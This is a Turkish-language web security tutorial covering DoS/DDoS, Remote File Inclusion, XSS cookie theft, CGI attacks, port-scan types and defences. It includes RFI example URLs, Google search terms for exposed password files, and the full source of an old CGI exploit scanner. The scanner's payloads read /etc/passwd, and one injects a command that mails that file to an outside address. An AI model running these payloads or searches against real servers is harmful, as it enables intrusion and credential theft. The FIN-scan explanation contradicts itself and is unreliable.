Çağımızın olmazsa olmazı arasına
giren Internet, beraberinde bir çok tehlikeyi de getirmektedir. Bu tehlikeleri,
Kredi Kartı bilgilerinin çalınması, Web Uygulamalarına ebedi olarak el
konulması, e-Mail hesaplarının ele geçirilmesi, kişisel bilgilerin yayınlanması
...vs şeklinde sıralamak mümkün.
Peki bu tehlike unsurlarına karşı etkili çözümler nelerdir? Nasıl korunulur?
Öncelikli olarak kişisel bilgisayar güvenliği önemli. Kullanıcı kendi
güvenliğini tam manasıyla sağladıktan sonra, gerisi sistem güvenirliğine kalmış
bir olay. Sistem güvenirliği de gerekli yamalar, güvenlik önlemleri.. ile daha
iyi bir duruma getirilebilir, her türlü saldırıya karşı donanımlı hale
getirilebilir.
PC (Personal Computer) güvenliğinde en önemli madde bilinçli olmaktır. Kullanıcı
bilinçli ise, sistem’in %90 ’ı güvendedir demektir. Şöyle ki, sistem hataları,
güvenlik zafiyetleri belki fixlenebilir, lakin kullanıcı dikkatsizliği ve
bilinçsizliği Sosyal Mühendislik sanatını iyi kullanan saldırganlara davetiye
çıkarmakta, sistem ne kadar güvenli olsa bile, maalesef bu güvenlik devre dışı
kalmaktadır. O yüzden ilk madde bilinçli olmaktır.
Internet ortamında, bilgisayarlar arası bağlantıda sürekli bir dosya paylaşımı
vardır. Bu dosya paylaşımı sırasında, art niyetli kullanıcılar tarafından,
virüs, trojan, worm, spy .. yollanabilmekte veya farklı amaçlar için kullanıcı
bilgisayarları hacklenebilmektedir. Bunlara bilinçli ve dikkatli olmadan sonra
gelebilecek en iyi çözüm iyi bir Firewall kullanmaktır. Sizin dikkatsizliğiniz
anında, devreye Firewall güvenlik kalkanları girecektir. Bu sayede
bilgisayarınızdaki veri alış-verişini görebilir, veri kontrolünü
sağlayabilirsiniz..
Kendi güvenliğini sağlayan bir kullanıcı, internet ortamında oluşturduğu Web
Uygulamalarını nasıl korumalıdır? Neler yapabilir?
Öncelikli olarak Web sitesi güvenliğinde (Host Güvenliği için),
sisteminize karşı yapılabilecek saldırıları iyi bilmeniz gerekir. Bir
saldırının boyutunu, verebileceği zararı ve mantığını anlamadan, bu saldırıya
karşı çözüm üretemezsiniz...
Sisteme yapılabilecek en basit (görünen) saldırılardan biri olarak Denial Of
Service (DOS) ve DDOS saldırılarını örnek verelim.
Denial Of Service (DOS) saldırıları diye nitelendirilen saldırı türü, sistem
işleyişini engelleme, belirli verilere erişimi sağlama yerine yetkili
kullanıcıların uygulamalara erişimini engelleyerek bilgi sistemleri
kaynaklarını kilitler. Bu Attack türü ile sistemin sunduğu hizmet veya
hizmetleri tamamiyle engelleyebilir ve devre dışı bırakabilir. Dos Attack
işleyiş olarak, Attacker’ın çok büyük oranda karışık ve karşılanamaz verileri
hedef sistem ağlarına veya bilgisayarlarına doğrudan göndermesini baz alır. Dos
Attack yöntemini tehlikeli kılan yön ise çok eski tip makineler ve modemler ile
çok karmaşık ve sofistike sistemleri devre dışı bırakmaktır.
DOS attacklar sadece e-ticaret ve web servislerine yapılmamaktadır. Bu
saldırılardan routerlar, sanal özel ağlar(VPN) ve IRC sunucularıda
etkilenmektedirler. Bir servis sağlayıcının router’ına yapılacak bir saldırı
sonucu network trafiği altüst olabilir ve sonucunda da müşterilerinin
bağlantıları kopabilir. Daha önce en büyük IRC ağlarından Undernet’in bazı
önemli sunucuları DDoS yöntemiyle çökertilmişti. Saldırıda servis sağlayıcılar
saniyede yüzlerce MB veri bombardımanına tutulmuştu..
Distributed Denial Of Service adını alan hizmet aksatmaya yönelik saldırı
türünün DOS Attack’tan farkı, birden fazla noktadan tek bir merkeze yapılan
sistem engelleme eylemidir. Şöyle ki; DOS saldırıları tek bir kaynaktan olup,
herhangi hedef bir sisteme doğrudur. Ancak DDOS saldırılarında birden fazla
makina tek bir hedefe focus olur. Bahsettiğimiz makina sayısı yüzlerce hatta
binlerce olabilir. DDOS saldırılarının tehlikeli olmasının nedeni de bundan
kaynaklanır.
Peki dev şirketlerin bile sistemlerini aciz bırakan bu saldırı türüne karşı
alabileceğimiz önlemler nelerdir?
Yeterli Bant Genişliği sağlayabilirsiniz. Saldırılar bant genişliğine göre
zarar verirler. Bant genişliği yeterli düzeyde olursa etkilenme azalacaktır.
Sisteminizi sürekli güncelleyin. Çünkü bu tür saldırılarda saldırı sırasında
bir engelleme söz konusu olmayabilir. O yüzden saldırı öncesi hazırlık yapmanız
gerekiyor.
İyi denebilecek düzeyde bir Firewall veya IDS (Saldırı Tespit Sistemi)
kullanın. Bu sayede ağınızı gözetleyebilirsiniz (Çok sayıda SYN_RECV görmeniz
sisteminizin DOS saldırısına maruz kaldığını gösterecektir.)
Saldırıya maruz kalan sistem ise, gelen bağlantıları reddetmelidir. Ancak
zombie kullanılmış ise bu işe yaramayacaktır. Sistemi kapatmanız da Attacker’ın
menfaatine olacaktır. Çünkü saldırgan zaten bunu hedeflemektedir. Bu yüzden en
önemli güvenlik, saldırı öncesi hazırlıktır.
Bir başka etkili saldırı ise Remote File Include. Bu saldırının da en
büyük etkisi ise, sunucu üzerindeki tüm sitelerin saldırı sonucu
sömürülebilmesidir. Bu da saldırının ne derece tehlikeli olduğunu
göstermektedir.
Remote File Inclusion (RFI), PHP ile kodlanmış sistemlerde, tecrübesiz
webmaster’lar tarafından yapılan kodlama hatalarından faydalanılarak sisteme
sızma yöntemidir. Bu saldırının verebileceği büyük zarar ise, RFI açığı olan
site üzerinden, aynı serverda bulunan tüm sitelere sızılabilmesi. Bu yüzden bu
güvenlik açığı, saldırganlar tarafından tercih edilen yöntemler arasına
girmiştir.
Saldırganlar, RFI açığına rastladıkları sitede, açığı kullanarak web sayfa
sunucusunun sağlamış olduğu diğer siteleri de sömürmek için ve server’daki
diğer sitelere erişimi sağlayabilmek için Listpatch dediğimiz kod dizilimini
kullanmaktadırlar. Listpatch’lerin upload edildiği URL’lerin, PHP ‘yi
desteklemesi ve Listpacth içerisinde bulunan kodları compile etmemesi
gerekiyor. Listpatch PHP destekli bir hosta (Örn:http://hometown.aol.com)
yüklendikten sonra, Attacker için tüm şartlar hazırlanmış demektir. Örnek bir
RFI açığı barındıran site;
http://www.example.com/path_to_qnews...hp?id=Attacker
List Patch]
http://www.example.com/path_to_phpgr...t.php?content=
[Attacker List Patch]
http://www.example.com/PATH/admin/pl...sedir=Attacker
ListPatch]
Saldırıya karşı alınabilecek önlemler nelerdir? Nasıl Korunulabilir?
Bu saldırı temel olarak sistemde yapılan kodlama hatalarından
kaynaklanmaktadır. O yüzden kodlama sürecinde yapılan hata olasılığı göz önüne
alınarak, uygulama paylaşıma konulmadan önce yeniden check edilmelidir. Sizin
sisteminizde bu açık yoksa bile, eğer sunucuda bu açığı barındıran herhangi bir
site var ise, sunucu üzerinden sizin sitenize de ulaşılabilir, sizin host’unuz
da hacklenme ile karşı karşıya gelebilir. O yüzden seçtiğiniz sunucuların da
yeteri kadar güvende olduğundan emin olmalısınız.
-------------------------------------------------------------------------------
Döküman Cyber-Warrior TIM adına x-Master
tarafından yazılmıştır.
-------------------------------------------------------------------------------
Geçelim bir başka yönteme.. Son zamanlarda çok sık kullanılan ve genellikle
Hotmail servisinde karşılaşılan Cross Site Scripting (XSS) Saldırılarının
kullanılarak hack yapılması hatta bu yöntem ile Domain Reg. Mail (daha sonra
değineceğiz) ‘in hacklenerek, Domain Hi-Jacking edilmesi, saldırıyı tehlikeli
yapmaya yeterlidir.
XSS Saldırıları temel olarak Cookie’leri baz almaktadır. Cookie’ler, kendinize
kişiselleştirmiş olduğunuz bir web-sayfasınız varsa veya bir ürün ya da servis
için kayıt olmuşsanız, sizi bağlandığınız sisteme hatırlatarak zamandan
tasarruf yapmanızı sağlar. Siteye yeniden girdiğinizde sistem daha önceden
verdiğiniz cevapları hatırlar. Bilgileri değiştirdiğiniz zaman da, sistem sizi
cookie ler sayesinde yeni halinizle hatırlar.
Browser’a yazılan bir siteye bağlandığınızda, bağlanacağınız sayfanın sunucusu,
bilgisayarınızda kendi yazmış olduğu cookie’lerin olup olmadığına bakar. Eğer
varsa, cookie’ler aracılığı ile size sabit bir ID atanır. Eğer sisteminizde,
sunucuya ait cookie yoksa size ayrı bir SessionID atanır. Kaydettiği bu dosya
hem sisteme, hem sizin bilgisayarınıza işlenir. Cookie’lerin formatı aşağıda
verdiğimiz gibidir;
Domain : False : / : False : Bitiş Tarihi : Name : Value
Sırasıyla tanımları;
Domain: Cookie’yi sisteminize kaydeden Web sayfasının adını içerir.
False: Domainde bulunan tüm makinelerin değişkene erişim hakkının olup
olmadığını
belirleyen bir bayraktır.
/ : URL’nin adresini gösterir.
False: SSL bağlantıları için kullanılır.
Bitiş Tarihi: Genellikle saniye cinsinde olup, çerezin bilgisayarınızdaki
süresini belirler.
Name: Değişkenin adı
Value: Değişkenin değeri
Sistemlerin kodlanma sürecinde yapılan hatalar, sistemde bir takım zafiyetlere
ve güvenlik açıklarına sebebiyet vermektedir. Attacker’lar bu sistem
zafiyetlerinden faydalanarak sisteminizde kayıtlı olan cookie’leri
kullanabilir, daha önceden girdiğiniz sitelere sizin adınıza bağlanabilir ve
eğer site yöneticisiyseniz siteyi ele geçirebilir, istediğini yapabilir.
İşte bahsettiğimiz Cross Site Scripting saldırılarında, kodlanma sürecinde
yapılan hatalardan faydalanılarak Cookie’ler çalınmaktadır. Kısaca Request ile
kullanıcıdan alınan verilerin sayfa içerisinde yazdırılması ile oluşan Cross
Site Scripting yani XSS açığıdır. Örneğin; QueryString ile alınan sayfa
numaraları yada ilgili kaydı gösteren id değişkenleri;
http://www.hedefsite/Default.Asp?Page=1
yada
http://www.hedefsite/Product.Asp?id=1
http://www.hedefsite/Default.Asp?Kategori=Haber
gibi.
Attacker’lar, arama ve haber modüllerinde, profil panellerinde..vs bulunan bu
sistem hatası sayesinde, modüllere ufak scriptler ekleyerek siteyi
yönlendirebilir veya hata vermesine neden olabilir.
Ayrıca Attacker, HTML tabanlı bir e-posta içine veya hazırladığı web sayfasına
özel bir URL gömerek hedef sistem yöneticisine yollayıp, bu URL’yi kendi
bilgisayarında açmasını, dolayısıyla hedef, farkında olmadan SessionID’sini
hedefin URL’de tanımadığı adrese gönderecektir. Örneğin; Cyber-security.org’a
üye olduğunuzu varsayalım. Bu siteye kullanıcı adınızla giriş yaptığınızda yeni
bir session oluşturmuş oldunuz. Ve tam bu esnada size gelen bir e-posta’da ;
yukarıdaki gibi bir link gördünüz ve farkında olmadan buna tıkladınız.
Dolayısıyla siz bu linke tıklamakla farkında olmadan sessionID’nizi,
x.master.biz’e göndermiş oluyorsunuz.
Kullanmış olduğunuz Script’lere karşı da Attacker’lar saldırı yapmaktan
çekinmeyeceklerdir. O yüzden script güvenliği de büyük önem taşımaktadır. Örnek
olarak CGI Script’ler’e değinecek olursak, başlı başına CGI Saldırıları
adlı konuyu ele alabiliriz.
CGI (Common Gateway Interface), Web Servisleri ile bu servislerin dışındaki
programlar arasında etkileşim (ortak çalışma) platformu oluşturmak için
geliştirilmiş bir standarttır. CGI, aslında bir programdır. Web’in statik
yapısına, HTML kodu içinden çağrılan CGI programları dinamik bir nitelik
kazandırmaktadır. En popüler CGI uygulamalarından birisi Web Sayaçlarıdır. Web
sayfalarını kaç kişinin ziyaret ettiğini saptayan küçük uygulamalar dış program
olarak, bir web sayfası içinden çağrılabilir. CGI programları gerçek zamanlı
çalışırlar. CGI’lerin önemli uygulama alanlarından birbaşkası da, web üzerinde
doldurup gönderilen formlar üzerindeki bilgileri server tarafında değerlendirip
kullanıcıya cevabı göndermektir.
CGI programları "çalıştırılabilir" kodlar olduğundan, bir başkası,
kolaylıkla sizin sisteminizde program çalıştırabilir. Bu yüzden, CGI kodları
sistemde özel yerlerde tutulur ve o sistemin görevlilerinin denetimi
altındadır.
CGI programları herhangi bir dilde yazılabilir : C, Fortran, Pascal, C++, Perl,
Unix Shell, Visual Basic vb. CGI eğer C ya da Fortran gibi bir dilde yazılırsa,
derlenmelidir. Perl ya da Unix Shell gibi ortamlar ise script ortamlardır ve bu
şekilde yazılmış CGI Script’ler doğrudan çalıştırılabilir.
Özellikle Java ve JavaScript kullanımlarının yaygınlaşması, CGI’nin ilk
zamanlardaki popüleritesini azaltmıştır. Öte yandan, CGI
programları/scriptleri, bulundukları sistemde saklıdırlar ve çalıştıklarında o
sistemin kaynaklarını kullanırlar. Oysa Java Appletleri ve JavaScript, doğrudan
HTML döküman içinde onu çağıran web listeleyicisine gelirler ve burada icra
edilebilirler. Bu da, Java Applet ve JavaScript’in CGI’ye göre önemli bir
avantajıdır.
C.G.I Scriptler Web sayfalarının, serverdaki executable (açılabilir) durumda
olan dosyaları kullanabilmesini sağlayan basit araçlardır. Uzun zamandan beri
Web sitelerinde bazı işleri yürütmek için kullanılan CGI Scriptlerin
güvenirliği ise tartışılır durumda. Çünkü basit çaptaki CGI Scriptler güvenlik
protokolleri gözden geçirilmeden hazırlanmıştır ve sitenizde kullanmanız
güvenliğinizi tehlikeye düşürebilir. Şöyle ki; CGI açıklarından faydalanarak
hedef siteler hack’lenebilir, hatta daha sonra sistemi re-hack etmek için
backdoor dediğimiz arka kapılar bile bırakılabilir.
Bu saldırıya karşı alınabilecek önlemler ise ;
Attacker Scriptlerde bulunan açıkları gerek manuel yollarla gerekse de CGI
Scanner’ları kullanarak öğrenebilir. Seçilecek olan Scanner’ın veritabanında
tüm açıkları barındırması ve sürekli güncellenme özelliğine sahip olması gerekir.
Çünkü bir Scanner veritabanında ne kadar çok sistem hatasından kaynaklanan
açıkları barındırırsa Attacker’ın sisteme sızma şansı o kadar artacaktır.
Program dışı manuel olarak CGI Açıkları aramanın kolay bir yöntemi olarak da
Google gibi gelişmiş craw’lerlara sahip olan sistemlerde "
cgi-bin/password.txt, cgi-bin/ornek.pwd " gibi key-word’leri aratmaktır.
Ek olarak birçok CGI-Scanner’ı http://packetstormsecurity.org/UNIX/cgi-scanners/
adresinden indirebilirsiniz.
Ayrıca sisteminizde CGI açığı olup olmadığını anlayabilmek için Cgiscan.c
exploitini kullanabilirsiniz. Exploitin kaynak kodlarını veriyoruz.
************************************************** *********************
#include <sys/stat.h>
#include <sys/types.h>
#include <termios.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/syslog.h>
#include <sys/param.h>
#include <sys/times.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/signal.h>
#include <arpa/inet.h>
#include <netdb.h>
#define MAXSTR 12
main (int argc, char *argv[])
{
struct sockaddr_in sin;
/* int outsocket, serv_len, len,c,outfd; */
/* struct hostent *nametocheck; */
/* struct in_addr outgoing; */
struct hostent *hp;
char host[100], buffer[1024], hosta[1024],FileBuf[8097];
int sock, i=0, X;
char *stringhe[MAXSTR];
for(i=0;i<MAXSTR;i++) {
stringhe[i]=(char *) malloc(sizeof(char)*100);
}
/* Classic PHF bug... It still Works! */
stringhe[0]="GET
/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd\\\\\\\\n";
/* test-cgi bug, possible to view documents location */
stringhe[1]="GET /cgi-bin/test-cgi?*\\\\\\\\n";
/* htmlscript bug, a good language that can us have passwd */
stringhe[2]="GET
/cgi-bin/htmlscript?../../../../etc/passwd\\\\\\\\n";
/* view-source bug, some httd use this... */
stringhe[3]="GET
/cgi-bin/view-source?../../../../etc/passwd\\\\\\\\n";
/* Wrap allow you to have a directory listing on IRIX 6.2 systems */
stringhe[4]="GET /cgi-bin/wrap?/../../../../../etc\\\\\\\\n";
/* Campas allow you to get the passwd on NCSA server 1.2 */
stringhe[5]="GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a\\\\\\\\n";
/* With pfdisplay & webdist is possible to get the passwd on IRIX 6.2
systems */
stringhe[6]="GET
/cgi-bin/pfdisplay.cgi?/../../../../etc/passwd\\\\\\\\n";
stringhe[7]="GET
/cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd\\\\\\\\n";
/* With aglimpse is possible to mail the password file anywhere */
stringhe[8]="GET
/cgi-bin/aglimpse/80|IFS=5;CMD=5mail5dashie\\\\\\\\@Cyberdude.com\\\
\\\\\</etc/passwd;eval$CMD;echo\\\\\\\\n";
/* An interesting variant for phf*/
stringhe[9]="GET
/cgi-bin/phf?Qalias=x%0a/usr/bin/ypcat%20passwd\\\\\\\\n";
stringhe[10]="GET /cgi-bin/php.cgi?/etc/passwd\\\\\\\\n";
/* a new test-cgi but the bug is the same */
stringhe[11]="GET /cgi-bin/nph-test-cgi?*\\\\\\\\n";
while(fgets(hosta,100,stdin))
{
if(hosta[0] == ’\\\\\\\\0’)
break;
hosta[strlen(hosta) -1] = ’\\\\\\\\0’;
write(1,hosta,strlen(hosta)*sizeof(char));
write(1,"\\\\\\\\n",sizeof(char));
hp = gethostbyname (hosta);
for(i=0;i<MAXSTR;i++) {
bzero((char*) &sin, sizeof(sin));
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
sin.sin_family = hp->h_addrtype;
sin.sin_port = htons(80);
sock = socket(AF_INET, SOCK_STREAM, 0);
X=connect(sock,(struct sockaddr *) &sin, sizeof(sin));
write(sock,stringhe[i],strlen(stringhe[i])*sizeof(char));
while((X=read(sock,FileBuf,8096))!=0)
write(1,FileBuf,X);
}
}
printf(\\\\\\\\nScacco&Dark Schneider - S0ft Pr0ject 98);
}
************************************************** *********************
Web uygulamalarının güvenliğinde en önemli nokta sunucu güvenliğidir.
Unutmayınız ki, sunucu güvenli olmadığı takdirde sizin siteniz ve uygulamanız
ne kadar güvenli olursa olsun, sitenin hack’lenmesine engel olamayacaktır.
Örnek olarak;
Sisteminizi hedefleyen bir saldırganın, sitenizde açık bulamadığını varsayalım.
Saldırgan bu aşamadan sonra sunucuyu incelemeye çalışacaktır. Sunucu üzerinde
bulduğu her açıktan/hatadan faydalanacaktır. Örnek olarak sunucunun port
durumunu kontrol edecektir.
Bir sistemin taranması, temel olarak hedef konumunda bulunan ağda bulunan
bileşenleri ve bu bileşenlere yetkisiz olarak erişim hakkına sahip olmak için
yapılmaktadır. Tarama,aktif sistemlerin belirlenmesi, işletim sistemlerinin
saptanması ve bu bileşenlerin hedef ağdaki lokasyonunun belirlenmesi gibi
basamaklardan oluşur.
İlerleyen teknolojinin ürünü olarak birçok işletim sisteminde birden fazla
program aynı anda çalışmakta ve çalışan bu programlardan bazıları da dışardan
gelen request (istek)’lere açık olmaktadırlar. Uygun görülen request’lere
response (cevap) vermektedir.
Sunucu programları çalışan bilgisayarlara verilen IP adresleri ile istenilen
bilgisayarlara ulaşılır. Ulaşılan bilgisayarlar üzerindeki hangi sunucu
programdan hizmet almak istendiğini belirlemek ise port’lar aracılığıyla
sağlanır. Bu işlemi sağlayabilmek için bilgisayarlar üzerinde sanal bağlantı
noktaları oluşturulur ve her bağlantı noktasını adresleyebilmek için Port
numarası dediğimiz pozitif rakamlar verilir. Port numaraları 2 byte olarak
tutulur. 1024’ten küçük olan port numaraları Root dediğimiz özel yetkilere
sahip kullanıcılar tarafından kullanılır. Büyük olanlar ise normal kullanıcılar
tarafından kullanılmaktadır.
Port kavramını öğrendikten sonra Attacker’ların, Port’lardan faydalanma
eylemine değinelim.
Attacker sistem hakkında yeteri kadar veri topladıktan sonra yapacağı ise hedef
sistemin TCP veya UDP Portlarına bağlanarak hangi port’un açık olduğunu belirlemek
veya hangi port’un dinleme durumunda olduğunu saptamaktır. Yani Port
Taraması yapmaktır.
İlk önce de dediğimiz gibi, saldırı bilmeden saldırıya karşı çözüm üretilemez.
Port Tarama Nasıl Yapılır?
TCP Connect Scan
Transmission Control Protokol (TCP), bilgisayarlar ile veri iletme ve alma
birimleri arasındaki iletişimi sağlayan, bu yolla veri transferini mümkün kılan
yapıdır.
TCP’nin İşleyişi: TCP Oturumu öncelikli olarak bir sunucudan servis ister,
diğer istemci ise response olarak (eğer bağlantı isteği kabul edilirse) SYN
Flag (SYN Bayrağı) ’ı kalkık paketini sunucu bilgisayara iletir. Paketi alan
sunucu ise, gönderene response olarak SYN Paketini aldığını ve bağlantı
request’ini onayladığını göstermek için SYN Bayrağı kaldırılmış (set) paketi yani
SYN-ACK Paketini istemci bilgisayara gönderir. Son aşamada ise sunucu makinenin
gönderdiği SYN-ACK paketini alan istemci bilgisayar sunucuya ACK paketini
göndererek yollanan paketi aldığını bildirir.
Bahsi geçen tarama yöntemi yani TCP Connect Scan işlemi ise anlattığımız oturum
açma işlemini gerçekleştirir ve oturum açıldığı zaman bağlantıyı keserek bize
portun durumunu, açık veya kapalı olduğunu gösterir.
Yalnız Attacker bu yöntemi zor durumda kalmadığı zaman yapmaz. Çünkü oturum
açma isteği gönderildikten ve bu işlem gerçekleştikten sonra isteği gönderen
cihazın IP Adresi kaydedilir. Ama zorunlu durumlarda ve hedef sistemin portunun
kesin bir şekilde açık veya kapalı olarak öğrenilmek istenmesi durumunda bu yol
garantidir.
TCP SYN SCAN
TCP Connect Scan işleminde, bu yolun riskli olduğunu çünkü IP Paketlerinin
loglandığını söylemiştik. Loglama işlemi, istemci bilgisayarın Oturum açtığı
anda olur. Oturum açılırsa log tutulur.
TCP SYN Scan yarı-açık tarama olarak da bilinir. Bu tabirin bahsi geçen tarama
yöntemine uygun görülmesinin nedeni ise, TCP Connect Scan’deki gibi tam olarak
oturum açmamasından dolayıdır. TCP SYN Scan SYN bayraklı paketi gönderir ve
SYN/ACK bayraklı paketi alır. Oturum açmayı ise RST/ACK bayraklı bir paket
göndererek reddeder.
Eğer hedef port açık ise SYNC/ACK paketi gelir. Oturum açılmadığından dolayı da
loglanma ihtimali ortadan kalkar.
TCP FIN Scan
TCP Connect ve TCP Syn Scan işlemlerinde oturum açma işlevlerine değindik. TCP
FIN Scan’de ise Oturum açılmadan hedef portların açık veya kapalı olma
durumları öğrenilir.
TCP FIN Scan’de hedef portlara FIN Paketleri gönderilir. *RFC793 ‘ e göre
kapalı durumda olan bir port, bağlantı durumu söz konusu olmadan aldığı FIN
paketine, RST Paketiyle cevap verir. Yani hedef porta gönderdiğimiz FIN
Paketlerine eğer cevap gelirse port kapalıdır, eğer cevap gelirse port açıktır.
SYN/FIN Scannig Using IP Fragments
Bu tarama yöntemi SYN ve FIN Tarama yöntemlerinin daha gelişmiş bir
türüdürdiyebiliriz. Bu tarama yönteminde herhangi bir paket gönderilmez. Hedef
porta paketleri daha küçük IP Fragmenti olarak gönderilir. Bu işlem Attacker’ın
yaptığı işin anlaşılmasına engel olmak içindir.
TCP Xmas Tree Scan
Bu tarama yöntemi TCP SYN taramasına benzer. Hedef porta FIN (No More Data From
Sender), URG (Urgent Pointer Field Significant) ve PUSH (Push Function)
bayraklı paketler gönderir ve kapalı olan portalardan RST cevabı beklenir. Eğer
cevap gelmezse hedef portlar açıktır. (RFC793’e göre / http://www.ietf.org/rfc/rfc0793.txt)
TCP Null Scan
Daha önceki tarama yöntemlerinde paketler veya IP Fragment göndererek
port’ların açık ve kapalılık durumlarını öğrenmiştik. Bu tarama yönteminde ise
TCP Xmas Tree’nin tam tersine bayrak taşımayan bir paket gönderilir. Daha
öncede belirttiğimiz gibi RFC793’e göre kapalı durumlardaki portlardan RST
cevabı gelir. Eğer cevap gelmezse hedef port açıktır.
TCP ACK Scan
Bu tarama yönteminde Attacker, eğer hedef Firewall kullanıyorsa kullandığı
Firewall’u bypass etme ve hedef portların açık ve kapalılık durumlarını
öğrenebilir.
TCP ACK Scan’in genel mantığı statik veya dinamik paket filtrelemede
firewall’ların bağlantıyı ilk başlatan tarafı hatırlayamamasıdır. Bazı
firewall’lar onaylanmış olan bağlantılara izin verir ve ACK (Acknowledgment
Field Significant) paketinin Firewall’lardan veya Router’lardan engellenmeden
geçmesi mümkün kılınabilir, hedef portlar firewall’a rağmen taranabilir.
TCP FTP Proxy (Bounce Attack) Scan
Bu tarama yöntemi FTP Proxy’lerin Bounce adını verdiğimiz özelliğinden
faydalanır. RFC959 tanımına göre, FTP Protokolünün Proxy FTP bağlantısına izin
verir. Bu bağlantı sayesinde server-PI (Protocol Interpreter)’e ağdaki herhangi
bir yere dosya yollayabilecek server-DTP (Data Transfer Process) isteği aktif
edilebilir. Bu açık özellikle firewall arkasında bağlı bulunan bir FTP’ye
bağlandığımız zaman sunucuya kendi port’larını taratması sağlandığı için çok
tehlikeli bir tarama türüdür. Çünkü Firewall bypass edilmiş olur.
TCP Windows Scan
TCP ACK taramasına benzer. Bu tarama türü TCP Windows Size’dan kaynaklanan
hataları baz alarak bazı işletim sistemlerinde portların açık ve kapalılık
durumunu ya da filtreli olma durumlarını kontrol eder.
TCP RPC Scan
Bu tarama yöntemi ile Remote Procedure Call (RPC-Uzak İşlem Çağrıları)
port’larından aktif halde çalışan işlemleri ve sürümleri öğrenebiliriz. Eğer
sistemde çalışan RPC’ler ile ilgili hata ve aksaklıklar mevcut ise bunlar
Attacker için sisteme girmek için bir yoldur. (Sadece Unix tabanlı sistemlerde
mevcuttur)
UDP Scan
Daha önceki tarama yöntemleri (RPC Scan Hariç) TCP tabanlı idi. TCP tabanlı
taramalarda, sıra numaraları, kod bitler dediğimiz yapılar vardı. Ancak UDP’de
böyle bir şey mevcut değildir. UDP ’de paketler direk gönderilir ve kaybolan
paketlerin yenisi gönderilmez.
Bu yöntem hedef sisteme UDP Paketlerini gönderme işlemini baz alır. Eğer
gönderilen UDP Paketlerine response olarak "ICMP Port Unreachable"
mesajı alınırsa port kapalıdır demektir. Eğer bu responsa alınmazsa port’un
açık olduğu anlaşılır. Bu işlemleri yaparken acele etmemek gerekir. Çünkü bant
genişliği probleminden dolayı gelmesi gereken mesaj paketi gecikebilir. Ve eğer
ivedi davranılırsa port’un açık olduğu o nedenle cevap gelmediği düşünülebilir.
Ama port açıktır ve bu hatadan dolayı Attacker amacına ulaşamayabilir.
Ident Scan
Ident Protokolü RFC1413’te tanımlanmış bir protokoldür.Bu tarama hedef sistem
üzerinde eğer Identd aktif olarak bulunuyorsa, sistemde çalışır vaziyette olan
servislerin listesine ve bu servisleri çalıştıran kullanıcı isimlerine ulaşmak
için yapılır. Eğer Identd aktif değilse bu tarama türü işe yaramayacaktır.
Tüm bunlara karşı sunucu güvenliği nasıl sağlanacak?
Port Tarama yönteminden korunma bir IDS Sistemi ile engellenebilir. Veya
IPTables’da Burst/Burst-Rate gibi bir limitasyonla engellenir. Şöyle ki; bir
kaynak IP adresinden bir noktaya belirli bir "t" süresi dahilinde
gelen SYN paketlerini sayan ve anormal sayıda aynı adrese connection kurmaya
çalışan ya da birden fazla porta "t SYN "paketi gönderen IP Adresleri
otomatik olarak bloke edilir. Bu teknik engellemekteden daha ziyade
artificial-intelligiance ile gerçekleştirilebilen bir savunma yöntemidir.
Port taramasından korunmak için kullanılan bir başka yöntem ise Firewall
dediğimiz Güvenlik Duvarlarının kullanımıdır. Piyasada bulunan Firewall’ların
çoğu Port taramalarını engelleyebilme özelliğine sahiptir. Hatta Nmap’in
yaptığı gizli port taramalarını bile yakalayabilme kabiliyetine mevcut
Firewall’lar vardır. Tavsiye edebileceğimiz Firewall’lar; hem güvenlik duvarı
hem de saldırı tespit sistemi olan Zone Alarm
(http://www.zonelabs.com),
IIS net firmasının Windows tabanlı saldırı tespit programı olarak yazdığı BlackICE
(http://www.blackice.iss.net/index.php)
‘tır.
-> Meraklı olmayın.. E-Mail’lerin ele
geçirilmesinde yararlanılan bir diğer zaaf meraklılıktır hiç şüphesiz.
Saldırgan size bir e-Mail yollayabilir. Bu e-Maillerde bir takım XSS kodları
bulunabilir ve eğer kullandığınız e-Mail, hotmail.com gibi bir servisten
alınmışsa Cookie bilgileriniz saldırganın eline geçebilir. Veya saldırganın
gönderdiği e-Posta’da bir eklenti olduğunu varsayıyoruz. Bunu direk indirip
açmak, aceleci davranmak, e-Mail hesabınızı kaybetmenize neden olabilir.
-> Gizli sorularınızın cevabını
alakasız yapın.. Gizli sorularınızın cevabını, sorduğunuz soruya karşılık
olacak şekilde değil de, bağlantısız bir şeyler yapmaya özen gösterin. Zira
saldırganın, tahmin gücünü düşürmede etkili olacaktır.
-> Sizden şifre soran hiçbir postayı
yanıtlamayın.. Unutmayın ki, hiçbir mail servisi sizden şifrenizi
sormayacaktır..
-> Size giriş yapmanız için sunulan
sayfalarda ,browser’a bakın.. Bu yolla sitenin kime ait olduğunu
görebilirsiniz.
-> Tanımadığınız kişilerden gelen
dosyaları, mailleri açmayın ve mümkünse iyi bir güvenlik duvarı kullanın..